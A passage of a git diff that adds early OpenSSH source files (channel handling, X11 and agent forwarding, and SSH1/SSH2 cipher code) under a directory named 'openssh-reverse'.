*/ + sock = x11_connect_display(); + if (sock == -1) { + /* Send refusal to the remote host. */ + packet_start(SSH_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(remote_channel); + packet_send(); + } else { + /* Allocate a channel for this connection. */ + newch = channel_allocate( + (x11_saved_proto == NULL) ? + SSH_CHANNEL_OPEN : SSH_CHANNEL_X11_OPEN, + sock, remote_host); + channels[newch].remote_id = remote_channel; + + /* Send a confirmation to the remote host. */ + packet_start(SSH_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(remote_channel); + packet_put_int(newch); + packet_send(); + } +} + +/* + * Requests forwarding of X11 connections, generates fake authentication + * data, and enables authentication spoofing. + */ + +void +x11_request_forwarding_with_spoofing(int client_session_id, + const char *proto, const char *data) +{ + unsigned int data_len = (unsigned int) strlen(data) / 2; + unsigned int i, value; + char *new_data; + int screen_number; + const char *cp; + u_int32_t rand = 0; + + cp = getenv("DISPLAY"); + if (cp) + cp = strchr(cp, ':'); + if (cp) + cp = strchr(cp, '.'); + if (cp) + screen_number = atoi(cp + 1); + else + screen_number = 0; + + /* Save protocol name. */ + x11_saved_proto = xstrdup(proto); + + /* + * Extract real authentication data and generate fake data of the + * same length. + */ + x11_saved_data = xmalloc(data_len); + x11_fake_data = xmalloc(data_len); + for (i = 0; i < data_len; i++) { + if (sscanf(data + 2 * i, "%2x", &value) != 1) + fatal("x11_request_forwarding: bad authentication data: %.100s", data); + if (i % 4 == 0) + rand = arc4random(); + x11_saved_data[i] = value; + x11_fake_data[i] = rand & 0xff; + rand >>= 8; + } + x11_saved_data_len = data_len; + x11_fake_data_len = data_len; + + /* Convert the fake data into hex. */ + new_data = xmalloc(2 * data_len + 1); + for (i = 0; i < data_len; i++) + sprintf(new_data + 2 * i, "%02x", (unsigned char) x11_fake_data[i]); + + /* Send the request packet. */ + if (compat20) { + channel_request_start(client_session_id, "x11-req", 0); + packet_put_char(0); /* XXX bool single connection */ + } else { + packet_start(SSH_CMSG_X11_REQUEST_FORWARDING); + } + packet_put_cstring(proto); + packet_put_cstring(new_data); + packet_put_int(screen_number); + packet_send(); + packet_write_wait(); + xfree(new_data); +} + +/* Sends a message to the server to request authentication fd forwarding. */ + +void +auth_request_forwarding() +{ + packet_start(SSH_CMSG_AGENT_REQUEST_FORWARDING); + packet_send(); + packet_write_wait(); +} + +/* + * Returns the name of the forwarded authentication socket. Returns NULL if + * there is no forwarded authentication socket. The returned value points to + * a static buffer. + */ + +char * +auth_get_socket_name() +{ + return channel_forwarded_auth_socket_name; +} + +/* removes the agent forwarding socket */ + +void +cleanup_socket(void) +{ + remove(channel_forwarded_auth_socket_name); + rmdir(channel_forwarded_auth_socket_dir); +} + +/* + * This is called to process SSH_CMSG_AGENT_REQUEST_FORWARDING on the server. + * This starts forwarding authentication requests. + */ + +int +auth_input_request_forwarding(struct passwd * pw) +{ + int sock, newch; + struct sockaddr_un sunaddr; + + if (auth_get_socket_name() != NULL) + fatal("Protocol error: authentication forwarding requested twice."); + + /* Temporarily drop privileged uid for mkdir/bind. */ + temporarily_use_uid(pw->pw_uid); + + /* Allocate a buffer for the socket name, and format the name. */ + channel_forwarded_auth_socket_name = xmalloc(MAX_SOCKET_NAME); + channel_forwarded_auth_socket_dir = xmalloc(MAX_SOCKET_NAME); + strlcpy(channel_forwarded_auth_socket_dir, "/tmp/ssh-XXXXXXXX", MAX_SOCKET_NAME); + + /* Create private directory for socket */ + if (mkdtemp(channel_forwarded_auth_socket_dir) == NULL) { + packet_send_debug("Agent forwarding disabled: mkdtemp() failed: %.100s", + strerror(errno)); + restore_uid(); + xfree(channel_forwarded_auth_socket_name); + xfree(channel_forwarded_auth_socket_dir); + channel_forwarded_auth_socket_name = NULL; + channel_forwarded_auth_socket_dir = NULL; + return 0; + } + snprintf(channel_forwarded_auth_socket_name, MAX_SOCKET_NAME, "%s/agent.%d", + channel_forwarded_auth_socket_dir, (int) getpid()); + + if (atexit(cleanup_socket) < 0) { + int saved = errno; + cleanup_socket(); + packet_disconnect("socket: %.100s", strerror(saved)); + } + /* Create the socket. */ + sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (sock < 0) + packet_disconnect("socket: %.100s", strerror(errno)); + + /* Bind it to the name. */ + memset(&sunaddr, 0, sizeof(sunaddr)); + sunaddr.sun_family = AF_UNIX; + strncpy(sunaddr.sun_path, channel_forwarded_auth_socket_name, + sizeof(sunaddr.sun_path)); + + if (bind(sock, (struct sockaddr *) & sunaddr, sizeof(sunaddr)) < 0) + packet_disconnect("bind: %.100s", strerror(errno)); + + /* Restore the privileged uid. */ + restore_uid(); + + /* Start listening on the socket. */ + if (listen(sock, 5) < 0) + packet_disconnect("listen: %.100s", strerror(errno)); + + /* Allocate a channel for the authentication agent socket. */ + newch = channel_allocate(SSH_CHANNEL_AUTH_SOCKET, sock, + xstrdup("auth socket")); + strlcpy(channels[newch].path, channel_forwarded_auth_socket_name, + sizeof(channels[newch].path)); + return 1; +} + +/* This is called to process an SSH_SMSG_AGENT_OPEN message. */ + +void +auth_input_open_request(int type, int plen) +{ + int remch, sock, newch; + char *dummyname; + + packet_integrity_check(plen, 4, type); + + /* Read the remote channel number from the message. */ + remch = packet_get_int(); + + /* + * Get a connection to the local authentication agent (this may again + * get forwarded). + */ + sock = ssh_get_authentication_socket(); + + /* + * If we could not connect the agent, send an error message back to + * the server. This should never happen unless the agent dies, + * because authentication forwarding is only enabled if we have an + * agent. + */ + if (sock < 0) { + packet_start(SSH_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(remch); + packet_send(); + return; + } + debug("Forwarding authentication connection."); + + /* + * Dummy host name. This will be freed when the channel is freed; it + * will still be valid in the packet_put_string below since the + * channel cannot yet be freed at that point. + */ + dummyname = xstrdup("authentication agent connection"); + + newch = channel_allocate(SSH_CHANNEL_OPEN, sock, dummyname); + channels[newch].remote_id = remch; + + /* Send a confirmation to the remote host. */ + packet_start(SSH_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(remch); + packet_put_int(newch); + packet_send(); +} + +void +channel_start_open(int id) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_open: %d: bad id", id); + return; + } + debug("send channel open %d", id); + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring(c->ctype); + packet_put_int(c->self); + packet_put_int(c->local_window); + packet_put_int(c->local_maxpacket); +} +void +channel_open(int id) +{ + /* XXX REMOVE ME */ + channel_start_open(id); + packet_send(); +} +void +channel_request(int id, char *service, int wantconfirm) +{ + channel_request_start(id, service, wantconfirm); + packet_send(); + debug("channel request %d: %s", id, service) ; +} +void +channel_request_start(int id, char *service, int wantconfirm) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_request: %d: bad id", id); + return; + } + packet_start(SSH2_MSG_CHANNEL_REQUEST); + packet_put_int(c->remote_id); + packet_put_cstring(service); + packet_put_char(wantconfirm); +} +void +channel_register_callback(int id, int mtype, channel_callback_fn *fn, void *arg) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_register_callback: %d: bad id", id); + return; + } + c->cb_event = mtype; + c->cb_fn = fn; + c->cb_arg = arg; +} +void +channel_register_cleanup(int id, channel_callback_fn *fn) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_register_cleanup: %d: bad id", id); + return; + } + c->dettach_user = fn; +} +void +channel_cancel_cleanup(int id) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_cancel_cleanup: %d: bad id", id); + return; + } + c->dettach_user = NULL; +} + +void +channel_set_fds(int id, int rfd, int wfd, int efd, int extusage) +{ + Channel *c = channel_lookup(id); + if (c == NULL || c->type != SSH_CHANNEL_LARVAL) + fatal("channel_activate for non-larval channel %d.", id); + + channel_register_fds(c, rfd, wfd, efd, extusage); + c->type = SSH_CHANNEL_OPEN; + /* XXX window size? */ + c->local_window = c->local_window_max = c->local_maxpacket/2; + packet_start(SSH2_MSG_CHANNEL_WINDOW_ADJUST); + packet_put_int(c->remote_id); + packet_put_int(c->local_window); + packet_send(); +} diff --git a/other/openssh-reverse/channels.h b/other/openssh-reverse/channels.h new file mode 100644 index 0000000..9629124 --- /dev/null +++ b/other/openssh-reverse/channels.h @@ -0,0 +1,237 @@ +/* RCSID("$OpenBSD: channels.h,v 1.14 2000/06/20 01:39:40 markus Exp $"); */ + +#ifndef CHANNELS_H +#define CHANNELS_H + +/* Definitions for channel types. */ +#define SSH_CHANNEL_FREE 0 /* This channel is free (unused). */ +#define SSH_CHANNEL_X11_LISTENER 1 /* Listening for inet X11 conn. */ +#define SSH_CHANNEL_PORT_LISTENER 2 /* Listening on a port. */ +#define SSH_CHANNEL_OPENING 3 /* waiting for confirmation */ +#define SSH_CHANNEL_OPEN 4 /* normal open two-way channel */ +#define SSH_CHANNEL_CLOSED 5 /* waiting for close confirmation */ +#define SSH_CHANNEL_AUTH_SOCKET 6 /* authentication socket */ +#define SSH_CHANNEL_X11_OPEN 7 /* reading first X11 packet */ +#define SSH_CHANNEL_INPUT_DRAINING 8 /* sending remaining data to conn */ +#define SSH_CHANNEL_OUTPUT_DRAINING 9 /* sending remaining data to app */ +#define SSH_CHANNEL_LARVAL 10 /* larval session */ +#define SSH_CHANNEL_MAX_TYPE 11 + +/* + * Data structure for channel data. This is iniailized in channel_allocate + * and cleared in channel_free. + */ +typedef void channel_callback_fn(int id, void *arg); + +typedef struct Channel { + int type; /* channel type/state */ + int self; /* my own channel identifier */ + int remote_id; /* channel identifier for remote peer */ + /* peer can be reached over encrypted connection, via packet-sent */ + int istate; /* input from channel (state of receive half) */ + int ostate; /* output to channel (state of transmit half) */ + int flags; /* close sent/rcvd */ + int rfd; /* read fd */ + int wfd; /* write fd */ + int efd; /* extended fd */ + int sock; /* sock fd */ + Buffer input; /* data read from socket, to be sent over + * encrypted connection */ + Buffer output; /* data received over encrypted connection for + * send on socket */ + Buffer extended; + char path[200]; /* path for unix domain sockets, or host name + * for forwards */ + int listening_port; /* port being listened for forwards */ + int host_port; /* remote port to connect for forwards */ + char *remote_name; /* remote hostname */ + + int remote_window; + int remote_maxpacket; + int local_window; + int local_window_max; + int local_consumed; + int local_maxpacket; + int extended_usage; + + char *ctype; /* type */ + + /* callback */ + channel_callback_fn *cb_fn; + void *cb_arg; + int cb_event; + channel_callback_fn *dettach_user; +} Channel; + +#define CHAN_EXTENDED_IGNORE 0 +#define CHAN_EXTENDED_READ 1 +#define CHAN_EXTENDED_WRITE 2 + +void channel_set_fds(int id, int rfd, int wfd, int efd, int extusage); +void channel_open(int id); +void channel_request(int id, char *service, int wantconfirm); +void channel_request_start(int id, char *service, int wantconfirm); +void channel_register_callback(int id, int mtype, channel_callback_fn *fn, void *arg); +void channel_register_cleanup(int id, channel_callback_fn *fn); +void channel_cancel_cleanup(int id); +Channel *channel_lookup(int id); + +int +channel_new(char *ctype, int type, int rfd, int wfd, int efd, + int window, int maxpack, int extended_usage, char *remote_name); + +void channel_input_channel_request(int type, int plen); +void channel_input_close(int type, int plen); +void channel_input_close_confirmation(int type, int plen); +void channel_input_data(int type, int plen); +void channel_input_extended_data(int type, int plen); +void channel_input_ieof(int type, int plen); +void channel_input_oclose(int type, int plen); +void channel_input_open_confirmation(int type, int plen); +void channel_input_open_failure(int type, int plen); +void channel_input_port_open(int type, int plen); +void channel_input_window_adjust(int type, int plen); +void channel_input_open(int type, int plen); + +/* Sets specific protocol options. */ +void channel_set_options(int hostname_in_open); + +/* + * Allocate a new channel object and set its type and socket. Remote_name + * must have been allocated with xmalloc; this will free it when the channel + * is freed. + */ +int channel_allocate(int type, int sock, char *remote_name); + +/* Free the channel and close its socket. */ +void channel_free(int channel); + +/* Add any bits relevant to channels in select bitmasks. */ +void channel_prepare_select(fd_set * readset, fd_set * writeset); + +/* + * After select, perform any appropriate operations for channels which have + * events pending. + */ +void channel_after_select(fd_set * readset, fd_set * writeset); + +/* If there is data to send to the connection, send some of it now. */ +void channel_output_poll(void); + +/* Returns true if no channel has too much buffered data. */ +int channel_not_very_much_buffered_data(void); + +/* This closes any sockets that are listening for connections; this removes + any unix domain sockets. */ +void channel_stop_listening(void); + +/* + * Closes the sockets of all channels. This is used to close extra file + * descriptors after a fork. + */ +void channel_close_all(void); + +/* Returns the maximum file descriptor number used by the channels. */ +int channel_max_fd(void); + +/* Returns true if there is still an open channel over the connection. */ +int channel_still_open(void); + +/* + * Returns a string containing a list of all open channels. The list is + * suitable for displaying to the user. It uses crlf instead of newlines. + * The caller should free the string with xfree. + */ +char *channel_open_message(void); + +/* + * Initiate forwarding of connections to local port "port" through the secure + * channel to host:port from remote side. This never returns if there was an + * error. + */ +void +channel_request_local_forwarding(u_short port, const char *host, + u_short remote_port, int gateway_ports); + +/* + * Initiate forwarding of connections to port "port" on remote host through + * the secure channel to host:port from local side. This never returns if + * there was an error. This registers that open requests for that port are + * permitted. + */ +void +channel_request_remote_forwarding(u_short port, const char *host, + u_short remote_port); + +/* + * Permits opening to any host/port in SSH_MSG_PORT_OPEN. This is usually + * called by the server, because the user could connect to any port anyway, + * and the server has no way to know but to trust the client anyway. + */ +void channel_permit_all_opens(void); + +/* + * This is called after receiving CHANNEL_FORWARDING_REQUEST. This initates + * listening for the port, and sends back a success reply (or disconnect + * message if there was an error). This never returns if there was an error. + */ +void channel_input_port_forward_request(int is_root, int gateway_ports); + +/* + * Creates a port for X11 connections, and starts listening for it. Returns + * the display name, or NULL if an error was encountered. + */ +char *x11_create_display(int screen); + +/* + * Creates an internet domain socket for listening for X11 connections. + * Returns a suitable value for the DISPLAY variable, or NULL if an error + * occurs. + */ +char *x11_create_display_inet(int screen, int x11_display_offset); + +/* + * This is called when SSH_SMSG_X11_OPEN is received. The packet contains + * the remote channel number. We should do whatever we want, and respond + * with either SSH_MSG_OPEN_CONFIRMATION or SSH_MSG_OPEN_FAILURE. + */ +void x11_input_open(int type, int plen); + +/* + * Requests forwarding of X11 connections. This should be called on the + * client only. + */ +void x11_request_forwarding(void); + +/* + * Requests forwarding for X11 connections, with authentication spoofing. + * This should be called in the client only. + */ +void +x11_request_forwarding_with_spoofing(int client_session_id, + const char *proto, const char *data); + +/* Sends a message to the server to request authentication fd forwarding. */ +void auth_request_forwarding(void); + +/* + * Returns the name of the forwarded authentication socket. Returns NULL if + * there is no forwarded authentication socket. The returned value points to + * a static buffer. + */ +char *auth_get_socket_name(void); + +/* + * This is called to process SSH_CMSG_AGENT_REQUEST_FORWARDING on the server. + * This starts forwarding authentication requests. + */ +int auth_input_request_forwarding(struct passwd * pw); + +/* This is called to process an SSH_SMSG_AGENT_OPEN message. */ +void auth_input_open_request(int type, int plen); + +/* XXX */ +int channel_connect_to(const char *host, u_short host_port); +int x11_connect_display(void); + +#endif diff --git a/other/openssh-reverse/cipher.c b/other/openssh-reverse/cipher.c new file mode 100644 index 0000000..a44e51d --- /dev/null +++ b/other/openssh-reverse/cipher.c @@ -0,0 +1,464 @@ +/* + * + * cipher.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Apr 19 17:41:39 1995 ylo + * + */ + +#include "includes.h" +RCSID("$OpenBSD: cipher.c,v 1.29 2000/07/10 16:30:25 ho Exp $"); + +#include "ssh.h" +#include "cipher.h" +#include "xmalloc.h" + +#include + +/* + * This is used by SSH1: + * + * What kind of triple DES are these 2 routines? + * + * Why is there a redundant initialization vector? + * + * If only iv3 was used, then, this would till effect have been + * outer-cbc. However, there is also a private iv1 == iv2 which + * perhaps makes differential analysis easier. On the other hand, the + * private iv1 probably makes the CRC-32 attack ineffective. This is a + * result of that there is no longer any known iv1 to use when + * choosing the X block. + */ +void +SSH_3CBC_ENCRYPT(des_key_schedule ks1, + des_key_schedule ks2, des_cblock * iv2, + des_key_schedule ks3, des_cblock * iv3, + unsigned char *dest, unsigned char *src, + unsigned int len) +{ + des_cblock iv1; + + memcpy(&iv1, iv2, 8); + + des_cbc_encrypt(src, dest, len, ks1, &iv1, DES_ENCRYPT); + memcpy(&iv1, dest + len - 8, 8); + + des_cbc_encrypt(dest, dest, len, ks2, iv2, DES_DECRYPT); + memcpy(iv2, &iv1, 8); /* Note how iv1 == iv2 on entry and exit. */ + + des_cbc_encrypt(dest, dest, len, ks3, iv3, DES_ENCRYPT); + memcpy(iv3, dest + len - 8, 8); +} + +void +SSH_3CBC_DECRYPT(des_key_schedule ks1, + des_key_schedule ks2, des_cblock * iv2, + des_key_schedule ks3, des_cblock * iv3, + unsigned char *dest, unsigned char *src, + unsigned int len) +{ + des_cblock iv1; + + memcpy(&iv1, iv2, 8); + + des_cbc_encrypt(src, dest, len, ks3, iv3, DES_DECRYPT); + memcpy(iv3, src + len - 8, 8); + + des_cbc_encrypt(dest, dest, len, ks2, iv2, DES_ENCRYPT); + memcpy(iv2, dest + len - 8, 8); + + des_cbc_encrypt(dest, dest, len, ks1, &iv1, DES_DECRYPT); + /* memcpy(&iv1, iv2, 8); */ + /* Note how iv1 == iv2 on entry and exit. */ +} + +/* + * SSH1 uses a variation on Blowfish, all bytes must be swapped before + * and after encryption/decryption. Thus the swap_bytes stuff (yuk). + */ +static void +swap_bytes(const unsigned char *src, unsigned char *dst_, int n) +{ + /* dst must be properly aligned. */ + u_int32_t *dst = (u_int32_t *) dst_; + union { + u_int32_t i; + char c[4]; + } t; + + /* Process 8 bytes every lap. */ + for (n = n / 8; n > 0; n--) { + t.c[3] = *src++; + t.c[2] = *src++; + t.c[1] = *src++; + t.c[0] = *src++; + *dst++ = t.i; + + t.c[3] = *src++; + t.c[2] = *src++; + t.c[1] = *src++; + t.c[0] = *src++; + *dst++ = t.i; + } +} + +/* + * Names of all encryption algorithms. + * These must match the numbers defined in cipher.h. + */ +static char *cipher_names[] = +{ + "none", + "idea", + "des", + "3des", + "tss", + "rc4", + "blowfish", + "reserved", + "blowfish-cbc", + "3des-cbc", + "arcfour", + "cast128-cbc" +}; + +/* + * Returns a bit mask indicating which ciphers are supported by this + * implementation. The bit mask has the corresponding bit set of each + * supported cipher. + */ + +unsigned int +cipher_mask1() +{ + unsigned int mask = 0; + mask |= 1 << SSH_CIPHER_3DES; /* Mandatory */ + mask |= 1 << SSH_CIPHER_BLOWFISH; + return mask; +} +unsigned int +cipher_mask2() +{ + unsigned int mask = 0; + mask |= 1 << SSH_CIPHER_BLOWFISH_CBC; + mask |= 1 << SSH_CIPHER_3DES_CBC; + mask |= 1 << SSH_CIPHER_ARCFOUR; + mask |= 1 << SSH_CIPHER_CAST128_CBC; + return mask; +} +unsigned int +cipher_mask() +{ + return cipher_mask1() | cipher_mask2(); +} + +/* Returns the name of the cipher. */ + +const char * +cipher_name(int cipher) +{ + if (cipher < 0 || cipher >= sizeof(cipher_names) / sizeof(cipher_names[0]) || + cipher_names[cipher] == NULL) + fatal("cipher_name: bad cipher name: %d", cipher); + return cipher_names[cipher]; +} + +/* Returns 1 if the name of the ciphers are valid. */ + +#define CIPHER_SEP "," +int +ciphers_valid(const char *names) +{ + char *ciphers, *cp; + char *p; + int i; + + if (names == NULL || strcmp(names, "") == 0) + return 0; + ciphers = cp = xstrdup(names); + for ((p = strsep(&cp, CIPHER_SEP)); p && *p != '\0'; + (p = strsep(&cp, CIPHER_SEP))) { + i = cipher_number(p); + if (i == -1 || !(cipher_mask2() & (1 << i))) { + xfree(ciphers); + return 0; + } + } + xfree(ciphers); + return 1; +} + +/* + * Parses the name of the cipher. Returns the number of the corresponding + * cipher, or -1 on error. + */ + +int +cipher_number(const char *name) +{ + int i; + if (name == NULL) + return -1; + for (i = 0; i < sizeof(cipher_names) / sizeof(cipher_names[0]); i++) + if (strcmp(cipher_names[i], name) == 0 && + (cipher_mask() & (1 << i))) + return i; + return -1; +} + +/* + * Selects the cipher, and keys if by computing the MD5 checksum of the + * passphrase and using the resulting 16 bytes as the key. + */ + +void +cipher_set_key_string(CipherContext *context, int cipher, const char *passphrase) +{ + MD5_CTX md; + unsigned char digest[16]; + + MD5_Init(&md); + MD5_Update(&md, (const unsigned char *) passphrase, strlen(passphrase)); + MD5_Final(digest, &md); + + cipher_set_key(context, cipher, digest, 16); + + memset(digest, 0, sizeof(digest)); + memset(&md, 0, sizeof(md)); +} + +/* Selects the cipher to use and sets the key. */ + +void +cipher_set_key(CipherContext *context, int cipher, const unsigned char *key, + int keylen) +{ + unsigned char padded[32]; + + /* Set cipher type. */ + context->type = cipher; + + /* Get 32 bytes of key data. Pad if necessary. (So that code + below does not need to worry about key size). */ + memset(padded, 0, sizeof(padded)); + memcpy(padded, key, keylen < sizeof(padded) ? keylen : sizeof(padded)); + + /* Initialize the initialization vector. */ + switch (cipher) { + case SSH_CIPHER_NONE: + /* + * Has to stay for authfile saving of private key with no + * passphrase + */ + break; + + case SSH_CIPHER_3DES: + /* + * Note: the least significant bit of each byte of key is + * parity, and must be ignored by the implementation. 16 + * bytes of key are used (first and last keys are the same). + */ + if (keylen < 16) + error("Key length %d is insufficient for 3DES.", keylen); + des_set_key((void *) padded, context->u.des3.key1); + des_set_key((void *) (padded + 8), context->u.des3.key2); + if (keylen <= 16) + des_set_key((void *) padded, context->u.des3.key3); + else + des_set_key((void *) (padded + 16), context->u.des3.key3); + memset(context->u.des3.iv2, 0, sizeof(context->u.des3.iv2)); + memset(context->u.des3.iv3, 0, sizeof(context->u.des3.iv3)); + break; + + case SSH_CIPHER_BLOWFISH: + if (keylen < 16) + error("Key length %d is insufficient for blowfish.", keylen); + BF_set_key(&context->u.bf.key, keylen, padded); + memset(context->u.bf.iv, 0, 8); + break; + + case SSH_CIPHER_3DES_CBC: + case SSH_CIPHER_BLOWFISH_CBC: + case SSH_CIPHER_ARCFOUR: + case SSH_CIPHER_CAST128_CBC: + fatal("cipher_set_key: illegal cipher: %s", cipher_name(cipher)); + break; + + default: + fatal("cipher_set_key: unknown cipher: %s", cipher_name(cipher)); + } + memset(padded, 0, sizeof(padded)); +} + +void +cipher_set_key_iv(CipherContext * context, int cipher, + const unsigned char *key, int keylen, + const unsigned char *iv, int ivlen) +{ + /* Set cipher type. */ + context->type = cipher; + + /* Initialize the initialization vector. */ + switch (cipher) { + case SSH_CIPHER_NONE: + break; + + case SSH_CIPHER_3DES: + case SSH_CIPHER_BLOWFISH: + fatal("cipher_set_key_iv: illegal cipher: %s", cipher_name(cipher)); + break; + + case SSH_CIPHER_3DES_CBC: + if (keylen < 24) + error("Key length %d is insufficient for 3des-cbc.", keylen); + des_set_key((void *) key, context->u.des3.key1); + des_set_key((void *) (key+8), context->u.des3.key2); + des_set_key((void *) (key+16), context->u.des3.key3); + if (ivlen < 8) + error("IV length %d is insufficient for 3des-cbc.", ivlen); + memcpy(context->u.des3.iv3, (char *)iv, 8); + break; + + case SSH_CIPHER_BLOWFISH_CBC: + if (keylen < 16) + error("Key length %d is insufficient for blowfish.", keylen); + if (ivlen < 8) + error("IV length %d is insufficient for blowfish.", ivlen); + BF_set_key(&context->u.bf.key, keylen, (unsigned char *)key); + memcpy(context->u.bf.iv, (char *)iv, 8); + break; + + case SSH_CIPHER_ARCFOUR: + if (keylen < 16) + error("Key length %d is insufficient for arcfour.", keylen); + RC4_set_key(&context->u.rc4, keylen, (unsigned char *)key); + break; + + case SSH_CIPHER_CAST128_CBC: + if (keylen < 16) + error("Key length %d is insufficient for cast128.", keylen); + if (ivlen < 8) + error("IV length %d is insufficient for cast128.", ivlen); + CAST_set_key(&context->u.cast.key, keylen, (unsigned char *) key); + memcpy(context->u.cast.iv, (char *)iv, 8); + break; + + default: + fatal("cipher_set_key: unknown cipher: %s", cipher_name(cipher)); + } +} + +/* Encrypts data using the cipher. */ + +void +cipher_encrypt(CipherContext *context, unsigned char *dest, + const unsigned char *src, unsigned int len) +{ + if ((len & 7) != 0) + fatal("cipher_encrypt: bad plaintext length %d", len); + + switch (context->type) { + case SSH_CIPHER_NONE: + memcpy(dest, src, len); + break; + + case SSH_CIPHER_3DES: + SSH_3CBC_ENCRYPT(context->u.des3.key1, + context->u.des3.key2, &context->u.des3.iv2, + context->u.des3.key3, &context->u.des3.iv3, + dest, (unsigned char *) src, len); + break; + + case SSH_CIPHER_BLOWFISH: + swap_bytes(src, dest, len); + BF_cbc_encrypt(dest, dest, len, + &context->u.bf.key, context->u.bf.iv, + BF_ENCRYPT); + swap_bytes(dest, dest, len); + break; + + case SSH_CIPHER_BLOWFISH_CBC: + BF_cbc_encrypt((void *)src, dest, len, + &context->u.bf.key, context->u.bf.iv, + BF_ENCRYPT); + break; + + case SSH_CIPHER_3DES_CBC: + des_ede3_cbc_encrypt(src, dest, len, + context->u.des3.key1, context->u.des3.key2, + context->u.des3.key3, &context->u.des3.iv3, DES_ENCRYPT); + break; + + case SSH_CIPHER_ARCFOUR: + RC4(&context->u.rc4, len, (unsigned char *)src, dest); + break; + + case SSH_CIPHER_CAST128_CBC: + CAST_cbc_encrypt(src, dest, len, + &context->u.cast.key, context->u.cast.iv, CAST_ENCRYPT); + break; + + default: + fatal("cipher_encrypt: unknown cipher: %s", cipher_name(context->type)); + } +} + +/* Decrypts data using the cipher. */ + +void +cipher_decrypt(CipherContext *context, unsigned char *dest, + const unsigned char *src, unsigned int len) +{ + if ((len & 7) != 0) + fatal("cipher_decrypt: bad ciphertext length %d", len); + + switch (context->type) { + case SSH_CIPHER_NONE: + memcpy(dest, src, len); + break; + + case SSH_CIPHER_3DES: + SSH_3CBC_DECRYPT(context->u.des3.key1, + context->u.des3.key2, &context->u.des3.iv2, + context->u.des3.key3, &context->u.des3.iv3, + dest, (unsigned char *) src, len); + break; + + case SSH_CIPHER_BLOWFISH: + swap_bytes(src, dest, len); + BF_cbc_encrypt((void *) dest, dest, len, + &context->u.bf.key, context->u.bf.iv, + BF_DECRYPT); + swap_bytes(dest, dest, len); + break; + + case SSH_CIPHER_BLOWFISH_CBC: + BF_cbc_encrypt((void *) src, dest, len, + &context->u.bf.key, context->u.bf.iv, + BF_DECRYPT); + break; + + case SSH_CIPHER_3DES_CBC: + des_ede3_cbc_encrypt(src, dest, len, + context->u.des3.key1, context->u.des3.key2, + context->u.des3.key3, &context->u.des3.iv3, DES_DECRYPT); + break; + + case SSH_CIPHER_ARCFOUR: + RC4(&context->u.rc4, len, (unsigned char *)src, dest); + break; + + case SSH_CIPHER_CAST128_CBC: + CAST_cbc_encrypt(src, dest, len, + &context->u.cast.key, context->u.cast.iv, CAST_DECRYPT); + break; + + default: + fatal("cipher_decrypt: unknown cipher: %s", cipher_name(context->type)); + } +} diff --git a/other/openssh-reverse/cipher.h b/other/openssh-reverse/cipher.h new file mode 100644 index 0000000..a137990 --- /dev/null +++ b/other/openssh-reverse/cipher.h @@ -0,0 +1,115 @@ +/* + * + * cipher.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Apr 19 16:50:42 1995 ylo + * + */ + +/* RCSID("$OpenBSD: cipher.h,v 1.18 2000/06/20 01:39:40 markus Exp $"); */ + +#ifndef CIPHER_H +#define CIPHER_H + +#include +#include +#include +#include + +/* Cipher types. New types can be added, but old types should not be removed + for compatibility. The maximum allowed value is 31. */ +#define SSH_CIPHER_ILLEGAL -2 /* No valid cipher selected. */ +#define SSH_CIPHER_NOT_SET -1 /* None selected (invalid number). */ +#define SSH_CIPHER_NONE 0 /* no encryption */ +#define SSH_CIPHER_IDEA 1 /* IDEA CFB */ +#define SSH_CIPHER_DES 2 /* DES CBC */ +#define SSH_CIPHER_3DES 3 /* 3DES CBC */ +#define SSH_CIPHER_BROKEN_TSS 4 /* TRI's Simple Stream encryption CBC */ +#define SSH_CIPHER_BROKEN_RC4 5 /* Alleged RC4 */ +#define SSH_CIPHER_BLOWFISH 6 +#define SSH_CIPHER_RESERVED 7 + +/* these ciphers are used in SSH2: */ +#define SSH_CIPHER_BLOWFISH_CBC 8 +#define SSH_CIPHER_3DES_CBC 9 +#define SSH_CIPHER_ARCFOUR 10 /* Alleged RC4 */ +#define SSH_CIPHER_CAST128_CBC 11 + +typedef struct { + unsigned int type; + union { + struct { + des_key_schedule key1; + des_key_schedule key2; + des_cblock iv2; + des_key_schedule key3; + des_cblock iv3; + } des3; + struct { + struct bf_key_st key; + unsigned char iv[8]; + } bf; + struct { + CAST_KEY key; + unsigned char iv[8]; + } cast; + RC4_KEY rc4; + } u; +} CipherContext; +/* + * Returns a bit mask indicating which ciphers are supported by this + * implementation. The bit mask has the corresponding bit set of each + * supported cipher. + */ +unsigned int cipher_mask(); +unsigned int cipher_mask1(); +unsigned int cipher_mask2(); + +/* Returns the name of the cipher. */ +const char *cipher_name(int cipher); + +/* + * Parses the name of the cipher. Returns the number of the corresponding + * cipher, or -1 on error. + */ +int cipher_number(const char *name); + +/* returns 1 if all ciphers are supported (ssh2 only) */ +int ciphers_valid(const char *names); + +/* + * Selects the cipher to use and sets the key. If for_encryption is true, + * the key is setup for encryption; otherwise it is setup for decryption. + */ +void +cipher_set_key(CipherContext * context, int cipher, + const unsigned char *key, int keylen); +void +cipher_set_key_iv(CipherContext * context, int cipher, + const unsigned char *key, int keylen, + const unsigned char *iv, int ivlen); + +/* + * Sets key for the cipher by computing the MD5 checksum of the passphrase, + * and using the resulting 16 bytes as the key. + */ +void +cipher_set_key_string(CipherContext * context, int cipher, + const char *passphrase); + +/* Encrypts data using the cipher. */ +void +cipher_encrypt(CipherContext * context, unsigned char *dest, + const unsigned char *src, unsigned int len); + +/* Decrypts data using the cipher. */ +void +cipher_decrypt(CipherContext * context, unsigned char *dest, + const unsigned char *src, unsigned int len); + +#endif /* CIPHER_H */ diff --git a/other/openssh-reverse/clientloop.c b/other/openssh-reverse/clientloop.c new file mode 100644 index 0000000..f7ac7b3 --- /dev/null +++ 